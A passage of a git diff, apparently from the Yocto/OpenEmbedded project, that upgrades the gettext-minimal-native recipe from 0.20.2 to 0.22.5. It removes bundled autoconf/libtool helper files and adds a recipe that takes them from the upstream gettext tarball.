- XGETTEXT_EXTRA_OPTIONS="$XGETTEXT_EXTRA_OPTIONS $1"
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/progtest.m4 b/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/progtest.m4
deleted file mode 100644
index f28010aed1..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/aclocal/progtest.m4
+++ /dev/null
@@ -1,91 +0,0 @@
-# progtest.m4 serial 8 (gettext-0.20.2)
-dnl Copyright (C) 1996-2003, 2005, 2008-2020 Free Software Foundation, Inc.
-dnl This file is free software; the Free Software Foundation
-dnl gives unlimited permission to copy and/or distribute it,
-dnl with or without modifications, as long as this notice is preserved.
-dnl
-dnl This file can be used in projects which are not available under
-dnl the GNU General Public License or the GNU Lesser General Public
-dnl License but which still want to provide support for the GNU gettext
-dnl functionality.
-dnl Please note that the actual code of the GNU gettext library is covered
-dnl by the GNU Lesser General Public License, and the rest of the GNU
-dnl gettext package is covered by the GNU General Public License.
-dnl They are *not* in the public domain.
-
-dnl Authors:
-dnl Ulrich Drepper <drepper@cygnus.com>, 1996.
-
-AC_PREREQ([2.50])
-
-# Search path for a program which passes the given test.
-
-dnl AM_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR,
-dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]])
-AC_DEFUN([AM_PATH_PROG_WITH_TEST],
-[
-# Prepare PATH_SEPARATOR.
-# The user is always right.
-if test "${PATH_SEPARATOR+set}" != set; then
- # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which
- # contains only /bin. Note that ksh looks also at the FPATH variable,
- # so we have to set that as well for the test.
- PATH_SEPARATOR=:
- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
- && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \
- || PATH_SEPARATOR=';'
- }
-fi
-
-# Find out how to test for executable files. Don't use a zero-byte file,
-# as systems may use methods other than mode bits to determine executability.
-cat >conf$$.file <<_ASEOF
-#! /bin/sh
-exit 0
-_ASEOF
-chmod +x conf$$.file
-if test -x conf$$.file >/dev/null 2>&1; then
- ac_executable_p="test -x"
-else
- ac_executable_p="test -f"
-fi
-rm -f conf$$.file
-
-# Extract the first word of "$2", so it can be a program name with args.
-set dummy $2; ac_word=[$]2
-AC_MSG_CHECKING([for $ac_word])
-AC_CACHE_VAL([ac_cv_path_$1],
-[case "[$]$1" in
- [[\\/]]* | ?:[[\\/]]*)
- ac_cv_path_$1="[$]$1" # Let the user override the test with a path.
- ;;
- *)
- ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in ifelse([$5], , $PATH, [$5]); do
- IFS="$ac_save_IFS"
- test -z "$ac_dir" && ac_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then
- echo "$as_me: trying $ac_dir/$ac_word..." >&AS_MESSAGE_LOG_FD
- if [$3]; then
- ac_cv_path_$1="$ac_dir/$ac_word$ac_exec_ext"
- break 2
- fi
- fi
- done
- done
- IFS="$ac_save_IFS"
-dnl If no 4th arg is given, leave the cache variable unset,
-dnl so AC_PATH_PROGS will keep looking.
-ifelse([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4"
-])dnl
- ;;
-esac])dnl
-$1="$ac_cv_path_$1"
-if test ifelse([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then
- AC_MSG_RESULT([$][$1])
-else
- AC_MSG_RESULT([no])
-fi
-AC_SUBST([$1])dnl
-])
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/config.rpath b/meta/recipes-core/gettext/gettext-minimal-0.20.2/config.rpath
deleted file mode 100755
index 24be79cfb6..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/config.rpath
+++ /dev/null
@@ -1,684 +0,0 @@
-#! /bin/sh
-# Output a system dependent set of variables, describing how to set the
-# run time search path of shared libraries in an executable.
-#
-# Copyright 1996-2020 Free Software Foundation, Inc.
-# Taken from GNU libtool, 2001
-# Originally by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-#
-# This file is free software; the Free Software Foundation gives
-# unlimited permission to copy and/or distribute it, with or without
-# modifications, as long as this notice is preserved.
-#
-# The first argument passed to this file is the canonical host specification,
-# CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM
-# or
-# CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM
-# The environment variables CC, GCC, LDFLAGS, LD, with_gnu_ld
-# should be set by the caller.
-#
-# The set of defined variables is at the end of this script.
-
-# Known limitations:
-# - On IRIX 6.5 with CC="cc", the run time search patch must not be longer
-# than 256 bytes, otherwise the compiler driver will dump core. The only
-# known workaround is to choose shorter directory names for the build
-# directory and/or the installation directory.
-
-# All known linkers require a '.a' archive for static linking (except MSVC,
-# which needs '.lib').
-libext=a
-shrext=.so
-
-host="$1"
-host_cpu=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'`
-host_vendor=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'`
-host_os=`echo "$host" | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'`
-
-# Code taken from libtool.m4's _LT_CC_BASENAME.
-
-for cc_temp in $CC""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`echo "$cc_temp" | sed -e 's%^.*/%%'`
-
-# Code taken from libtool.m4's _LT_COMPILER_PIC.
-
-wl=
-if test "$GCC" = yes; then
- wl='-Wl,'
-else
- case "$host_os" in
- aix*)
- wl='-Wl,'
- ;;
- mingw* | cygwin* | pw32* | os2* | cegcc*)
- ;;
- hpux9* | hpux10* | hpux11*)
- wl='-Wl,'
- ;;
- irix5* | irix6* | nonstopux*)
- wl='-Wl,'
- ;;
- linux* | k*bsd*-gnu | kopensolaris*-gnu)
- case $cc_basename in
- ecc*)
- wl='-Wl,'
- ;;
- icc* | ifort*)
- wl='-Wl,'
- ;;
- lf95*)
- wl='-Wl,'
- ;;
- nagfor*)
- wl='-Wl,-Wl,,'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- wl='-Wl,'
- ;;
- ccc*)
- wl='-Wl,'
- ;;
- xl* | bgxl* | bgf* | mpixl*)
- wl='-Wl,'
- ;;
- como)
- wl='-lopt='
- ;;
- *)
- case `$CC -V 2>&1 | sed 5q` in
- *Sun\ F* | *Sun*Fortran*)
- wl=
- ;;
- *Sun\ C*)
- wl='-Wl,'
- ;;
- esac
- ;;
- esac
- ;;
- newsos6)
- ;;
- *nto* | *qnx*)
- ;;
- osf3* | osf4* | osf5*)
- wl='-Wl,'
- ;;
- rdos*)
- ;;
- solaris*)
- case $cc_basename in
- f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- wl='-Qoption ld '
- ;;
- *)
- wl='-Wl,'
- ;;
- esac
- ;;
- sunos4*)
- wl='-Qoption ld '
- ;;
- sysv4 | sysv4.2uw2* | sysv4.3*)
- wl='-Wl,'
- ;;
- sysv4*MP*)
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- wl='-Wl,'
- ;;
- unicos*)
- wl='-Wl,'
- ;;
- uts4*)
- ;;
- esac
-fi
-
-# Code taken from libtool.m4's _LT_LINKER_SHLIBS.
-
-hardcode_libdir_flag_spec=
-hardcode_libdir_separator=
-hardcode_direct=no
-hardcode_minus_L=no
-
-case "$host_os" in
- cygwin* | mingw* | pw32* | cegcc*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
-esac
-
-ld_shlibs=yes
-if test "$with_gnu_ld" = yes; then
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- # Unlike libtool, we use -rpath here, not --rpath, since the documented
- # option of GNU ld is called -rpath, not --rpath.
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- case "$host_os" in
- aix[3-9]*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs=no
- fi
- ;;
- amigaos*)
- case "$host_cpu" in
- powerpc)
- ;;
- m68k)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- ;;
- esac
- ;;
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- cygwin* | mingw* | pw32* | cegcc*)
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec='-L$libdir'
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- haiku*)
- ;;
- interix[3-9]*)
- hardcode_direct=no
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- netbsd*)
- ;;
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs=no
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs=no
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- else
- ld_shlibs=no
- fi
- ;;
- esac
- ;;
- sunos4*)
- hardcode_direct=yes
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- esac
- if test "$ld_shlibs" = no; then
- hardcode_libdir_flag_spec=
- fi
-else
- case "$host_os" in
- aix3*)
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L=yes
- if test "$GCC" = yes; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct=unsupported
- fi
- ;;
- aix[4-9]*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- else
- aix_use_runtimelinking=no
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix[5-9]*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
- fi
- hardcode_direct=yes
- hardcode_libdir_separator=':'
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- :
- else
- # We have old collect2
- hardcode_direct=unsupported
- hardcode_minus_L=yes
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_libdir_separator=
- fi
- ;;
- esac
- fi
- # Begin _LT_AC_SYS_LIBPATH_AIX.
- echo 'int main () { return 0; }' > conftest.c
- ${CC} ${LDFLAGS} conftest.c -o conftest
- aix_libpath=`dump -H conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
- if test -z "$aix_libpath"; then
- aix_libpath=`dump -HX64 conftest 2>/dev/null | sed -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
- fi
- if test -z "$aix_libpath"; then
- aix_libpath="/usr/lib:/lib"
- fi
- rm -f conftest.c conftest
- # End _LT_AC_SYS_LIBPATH_AIX.
- if test "$aix_use_runtimelinking" = yes; then
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib'
- else
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- fi
- fi
- ;;
- amigaos*)
- case "$host_cpu" in
- powerpc)
- ;;
- m68k)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- ;;
- esac
- ;;
- bsdi[45]*)
- ;;
- cygwin* | mingw* | pw32* | cegcc*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec=' '
- libext=lib
- ;;
- darwin* | rhapsody*)
- hardcode_direct=no
- if { case $cc_basename in ifort*) true;; *) test "$GCC" = yes;; esac; }; then
- :
- else
- ld_shlibs=no
- fi
- ;;
- dgux*)
- hardcode_libdir_flag_spec='-L$libdir'
- ;;
- freebsd2.[01]*)
- hardcode_direct=yes
- hardcode_minus_L=yes
- ;;
- freebsd* | dragonfly*)
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- ;;
- hpux9*)
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- hpux10*)
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- hardcode_direct=yes
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- fi
- ;;
- hpux11*)
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator=:
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_direct=no
- ;;
- *)
- hardcode_direct=yes
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L=yes
- ;;
- esac
- fi
- ;;
- irix5* | irix6* | nonstopux*)
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
- netbsd*)
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- ;;
- newsos6)
- hardcode_direct=yes
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
- *nto* | *qnx*)
- ;;
- openbsd*)
- if test -f /usr/libexec/ld.so; then
- hardcode_direct=yes
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- else
- case "$host_os" in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- *)
- hardcode_libdir_flag_spec='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- else
- ld_shlibs=no
- fi
- ;;
- os2*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
- ;;
- osf3*)
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator=:
- ;;
- osf4* | osf5*)
- if test "$GCC" = yes; then
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- # Both cc and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec='-rpath $libdir'
- fi
- hardcode_libdir_separator=:
- ;;
- solaris*)
- hardcode_libdir_flag_spec='-R$libdir'
- ;;
- sunos4*)
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_direct=yes
- hardcode_minus_L=yes
- ;;
- sysv4)
- case $host_vendor in
- sni)
- hardcode_direct=yes # is this really true???
- ;;
- siemens)
- hardcode_direct=no
- ;;
- motorola)
- hardcode_direct=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- ;;
- sysv4.3*)
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- ld_shlibs=yes
- fi
- ;;
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7* | sco3.2v5.0.[024]*)
- ;;
- sysv5* | sco3.2v5* | sco5v6*)
- hardcode_libdir_flag_spec='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator=':'
- ;;
- uts4*)
- hardcode_libdir_flag_spec='-L$libdir'
- ;;
- *)
- ld_shlibs=no
- ;;
- esac
-fi
-
-# Check dynamic linker characteristics
-# Code taken from libtool.m4's _LT_SYS_DYNAMIC_LINKER.
-# Unlike libtool.m4, here we don't care about _all_ names of the library, but
-# only about the one the linker finds when passed -lNAME. This is the last
-# element of library_names_spec in libtool.m4, or possibly two of them if the
-# linker has special search rules.
-library_names_spec= # the last element of library_names_spec in libtool.m4
-libname_spec='lib$name'
-case "$host_os" in
- aix3*)
- library_names_spec='$libname.a'
- ;;
- aix[4-9]*)
- library_names_spec='$libname$shrext'
- ;;
- amigaos*)
- case "$host_cpu" in
- powerpc*)
- library_names_spec='$libname$shrext' ;;
- m68k)
- library_names_spec='$libname.a' ;;
- esac
- ;;
- beos*)
- library_names_spec='$libname$shrext'
- ;;
- bsdi[45]*)
- library_names_spec='$libname$shrext'
- ;;
- cygwin* | mingw* | pw32* | cegcc*)
- shrext=.dll
- library_names_spec='$libname.dll.a $libname.lib'
- ;;
- darwin* | rhapsody*)
- shrext=.dylib
- library_names_spec='$libname$shrext'
- ;;
- dgux*)
- library_names_spec='$libname$shrext'
- ;;
- freebsd[23].*)
- library_names_spec='$libname$shrext$versuffix'
- ;;
- freebsd* | dragonfly*)
- library_names_spec='$libname$shrext'
- ;;
- gnu*)
- library_names_spec='$libname$shrext'
- ;;
- haiku*)
- library_names_spec='$libname$shrext'
- ;;
- hpux9* | hpux10* | hpux11*)
- case $host_cpu in
- ia64*)
- shrext=.so
- ;;
- hppa*64*)
- shrext=.sl
- ;;
- *)
- shrext=.sl
- ;;
- esac
- library_names_spec='$libname$shrext'
- ;;
- interix[3-9]*)
- library_names_spec='$libname$shrext'
- ;;
- irix5* | irix6* | nonstopux*)
- library_names_spec='$libname$shrext'
- case "$host_os" in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") libsuff= shlibsuff= ;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") libsuff=32 shlibsuff=N32 ;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") libsuff=64 shlibsuff=64 ;;
- *) libsuff= shlibsuff= ;;
- esac
- ;;
- esac
- ;;
- linux*oldld* | linux*aout* | linux*coff*)
- ;;
- linux* | k*bsd*-gnu | kopensolaris*-gnu)
- library_names_spec='$libname$shrext'
- ;;
- knetbsd*-gnu)
- library_names_spec='$libname$shrext'
- ;;
- netbsd*)
- library_names_spec='$libname$shrext'
- ;;
- newsos6)
- library_names_spec='$libname$shrext'
- ;;
- *nto* | *qnx*)
- library_names_spec='$libname$shrext'
- ;;
- openbsd*)
- library_names_spec='$libname$shrext$versuffix'
- ;;
- os2*)
- libname_spec='$name'
- shrext=.dll
- library_names_spec='$libname.a'
- ;;
- osf3* | osf4* | osf5*)
- library_names_spec='$libname$shrext'
- ;;
- rdos*)
- ;;
- solaris*)
- library_names_spec='$libname$shrext'
- ;;
- sunos4*)
- library_names_spec='$libname$shrext$versuffix'
- ;;
- sysv4 | sysv4.3*)
- library_names_spec='$libname$shrext'
- ;;
- sysv4*MP*)
- library_names_spec='$libname$shrext'
- ;;
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- library_names_spec='$libname$shrext'
- ;;
- tpf*)
- library_names_spec='$libname$shrext'
- ;;
- uts4*)
- library_names_spec='$libname$shrext'
- ;;
-esac
-
-sed_quote_subst='s/\(["`$\\]\)/\\\1/g'
-escaped_wl=`echo "X$wl" | sed -e 's/^X//' -e "$sed_quote_subst"`
-shlibext=`echo "$shrext" | sed -e 's,^\.,,'`
-escaped_libname_spec=`echo "X$libname_spec" | sed -e 's/^X//' -e "$sed_quote_subst"`
-escaped_library_names_spec=`echo "X$library_names_spec" | sed -e 's/^X//' -e "$sed_quote_subst"`
-escaped_hardcode_libdir_flag_spec=`echo "X$hardcode_libdir_flag_spec" | sed -e 's/^X//' -e "$sed_quote_subst"`
-
-LC_ALL=C sed -e 's/^\([a-zA-Z0-9_]*\)=/acl_cv_\1=/' <<EOF
-
-# How to pass a linker flag through the compiler.
-wl="$escaped_wl"
-
-# Static library suffix (normally "a").
-libext="$libext"
-
-# Shared library suffix (normally "so").
-shlibext="$shlibext"
-
-# Format of library name prefix.
-libname_spec="$escaped_libname_spec"
-
-# Library names that the linker finds when passed -lNAME.
-library_names_spec="$escaped_library_names_spec"
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec="$escaped_hardcode_libdir_flag_spec"
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator="$hardcode_libdir_separator"
-
-# Set to yes if using DIR/libNAME.so during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct="$hardcode_direct"
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L="$hardcode_minus_L"
-
-EOF
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/remove-potcdate.sin b/meta/recipes-core/gettext/gettext-minimal-0.20.2/remove-potcdate.sin
deleted file mode 100644
index 8c70dfbf14..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/remove-potcdate.sin
+++ /dev/null
@@ -1,25 +0,0 @@
-# Sed script that removes the POT-Creation-Date line in the header entry
-# from a POT file.
-#
-# Copyright (C) 2002 Free Software Foundation, Inc.
-# Copying and distribution of this file, with or without modification,
-# are permitted in any medium without royalty provided the copyright
-# notice and this notice are preserved. This file is offered as-is,
-# without any warranty.
-#
-# The distinction between the first and the following occurrences of the
-# pattern is achieved by looking at the hold space.
-/^"POT-Creation-Date: .*"$/{
-x
-# Test if the hold space is empty.
-s/P/P/
-ta
-# Yes it was empty. First occurrence. Remove the line.
-g
-d
-bb
-:a
-# The hold space was nonempty. Following occurrences. Do nothing.
-x
-:b
-}
diff --git a/meta/recipes-core/gettext/gettext-minimal-native_0.20.2.bb b/meta/recipes-core/gettext/gettext-minimal-native_0.20.2.bb
deleted file mode 100644
index 7a4dcbec57..0000000000
--- a/meta/recipes-core/gettext/gettext-minimal-native_0.20.2.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Minimal gettext for supporting native autoconf/automake"
-DESCRIPTION = "Contains the m4 macros sufficient to support building \
-autoconf/automake. This provides a significant build time speedup by \
-the removal of gettext-native from most dependency chains (now only \
-needed for gettext for the target)."
-SRC_URI = "file://aclocal/ \
- file://config.rpath \
- file://Makefile.in.in \
- file://remove-potcdate.sin \
- file://COPYING \
-"
-
-INHIBIT_DEFAULT_DEPS = "1"
-INHIBIT_AUTOTOOLS_DEPS = "1"
-
-LICENSE = "FSF-Unlimited"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4bd090a20bfcd1a18f1f79837b5e3e91"
-
-inherit native
-
-S = "${WORKDIR}"
-
-do_install () {
- install -d ${D}${datadir}/aclocal/
- cp ${WORKDIR}/aclocal/*.m4 ${D}${datadir}/aclocal/
- install -d ${D}${datadir}/gettext/po/
- cp ${WORKDIR}/config.rpath ${D}${datadir}/gettext/
- cp ${WORKDIR}/Makefile.in.in ${D}${datadir}/gettext/po/
- cp ${WORKDIR}/remove-potcdate.sin ${D}${datadir}/gettext/po/
-}
diff --git a/meta/recipes-core/gettext/gettext-minimal-native_0.22.5.bb b/meta/recipes-core/gettext/gettext-minimal-native_0.22.5.bb
new file mode 100644
index 0000000000..db1bbb7e68
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-minimal-native_0.22.5.bb
@@ -0,0 +1,46 @@
+SUMMARY = "Minimal gettext for supporting native autoconf/automake"
+DESCRIPTION = "Contains the m4 macros sufficient to support building \
+autoconf/automake. This provides a significant build time speedup by \
+the removal of gettext-native from most dependency chains (now only \
+needed for gettext for the target)."
+
+require gettext-sources.inc
+SRC_URI += " \
+ file://COPYING \
+"
+
+INHIBIT_DEFAULT_DEPS = "1"
+INHIBIT_AUTOTOOLS_DEPS = "1"
+
+LICENSE = "FSF-Unlimited"
+LIC_FILES_CHKSUM = "file://../COPYING;md5=4bd090a20bfcd1a18f1f79837b5e3e91"
+
+inherit native
+
+S = "${WORKDIR}/gettext-${PV}"
+
+python get_aclocal_files() {
+ fpath = oe.path.join(d.getVar("S"), "/gettext-tools/m4/Makefile.am")
+ with open(fpath) as f:
+ content = f.read()
+ for l in content.replace("\\\n","").split("\n"):
+ if l.startswith("aclocal_DATA"):
+ aclocal_files = l.split("=")[1]
+ with open(oe.path.join(d.getVar("WORKDIR"),"aclocal-files"),'w') as outf:
+ outf.write(aclocal_files)
+ break
+ else:
+ bb.error("Could not obtain list of installed aclocal files from {}".format(fpath))
+}
+do_install[prefuncs] += "get_aclocal_files"
+
+do_install () {
+ install -d ${D}${datadir}/aclocal/
+ for i in `cat ${WORKDIR}/aclocal-files`; do
+ cp ${S}/gettext-tools/m4/$i ${D}${datadir}/aclocal/
+ done
+ install -d ${D}${datadir}/gettext/po/
+ cp ${S}/build-aux/config.rpath ${D}${datadir}/gettext/
+ cp ${S}/gettext-runtime/po/Makefile.in.in ${D}${datadir}/gettext/po/
+ cp ${S}/gettext-runtime/po/remove-potcdate.sin ${D}${datadir}/gettext/po/
+}
diff --git a/meta/recipes-core/gettext/gettext-minimal-0.20.2/COPYING b/meta/recipes-core/gettext/gettext-minimal/COPYING
index 3671ab6985..3671ab6985 100644
--- a/meta/recipes-core/gettext/gettext-minimal-0.20.2/COPYING
+++ b/meta/recipes-core/gettext/gettext-minimal/COPYING
diff --git a/meta/recipes-core/gettext/gettext-sources.inc b/meta/recipes-core/gettext/gettext-sources.inc
new file mode 100644
index 0000000000..fd05837528
--- /dev/null
+++ b/meta/recipes-core/gettext/gettext-sources.inc
@@ -0,0 +1,4 @@
+HOMEPAGE = "http://www.gnu.org/software/gettext/gettext.html"
+SRC_URI = "${GNU_MIRROR}/gettext/gettext-${PV}.tar.gz \
+ "
+SRC_URI[sha256sum] = "ec1705b1e969b83a9f073144ec806151db88127f5e40fe5a94cb6c8fa48996a0"
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/0001-init-env.in-do-not-add-C-CXX-parameters.patch b/meta/recipes-core/gettext/gettext/0001-init-env.in-do-not-add-C-CXX-parameters.patch
index d45b75869a..33d45a038c 100644
--- a/meta/recipes-core/gettext/gettext-0.20.2/0001-init-env.in-do-not-add-C-CXX-parameters.patch
+++ b/meta/recipes-core/gettext/gettext/0001-init-env.in-do-not-add-C-CXX-parameters.patch
@@ -1,4 +1,4 @@
-From 9b912a47f790a7b282ec0c2295a188c5d8fb6a7c Mon Sep 17 00:00:00 2001
+From c58c503c532d20883a93ef778327c86dd6de24f6 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 6 Mar 2020 21:04:05 +0000
Subject: [PATCH] init-env.in: do not add C/CXX parameters
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/0001-tests-autopoint-3-unset-MAKEFLAGS.patch b/meta/recipes-core/gettext/gettext/0001-tests-autopoint-3-unset-MAKEFLAGS.patch
index b0bc6b97a6..94afb255c3 100644
--- a/meta/recipes-core/gettext/gettext-0.20.2/0001-tests-autopoint-3-unset-MAKEFLAGS.patch
+++ b/meta/recipes-core/gettext/gettext/0001-tests-autopoint-3-unset-MAKEFLAGS.patch
@@ -1,4 +1,4 @@
-From 38b256e5aa7dfeb42acffd89565e53a2c0bab3e3 Mon Sep 17 00:00:00 2001
+From 7006142d199af13628edc687847a9a5bac48b45d Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 7 Jan 2020 16:44:38 +0100
Subject: [PATCH] tests/autopoint-3: unset MAKEFLAGS
@@ -13,10 +13,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+)
diff --git a/gettext-tools/tests/autopoint-3 b/gettext-tools/tests/autopoint-3
-index e13552b..55188df 100755
+index bd3fbf3..380eaac 100755
--- a/gettext-tools/tests/autopoint-3
+++ b/gettext-tools/tests/autopoint-3
-@@ -126,6 +126,7 @@ test $? = 0 || { cat autopoint.err; Exit 1; }
+@@ -131,6 +131,7 @@ test $? = 0 || { cat autopoint.err; Exit 1; }
${CONFIG_SHELL} ./configure >/dev/null 2>autpoint.err
test $? = 0 || { cat autopoint.err; Exit 1; }
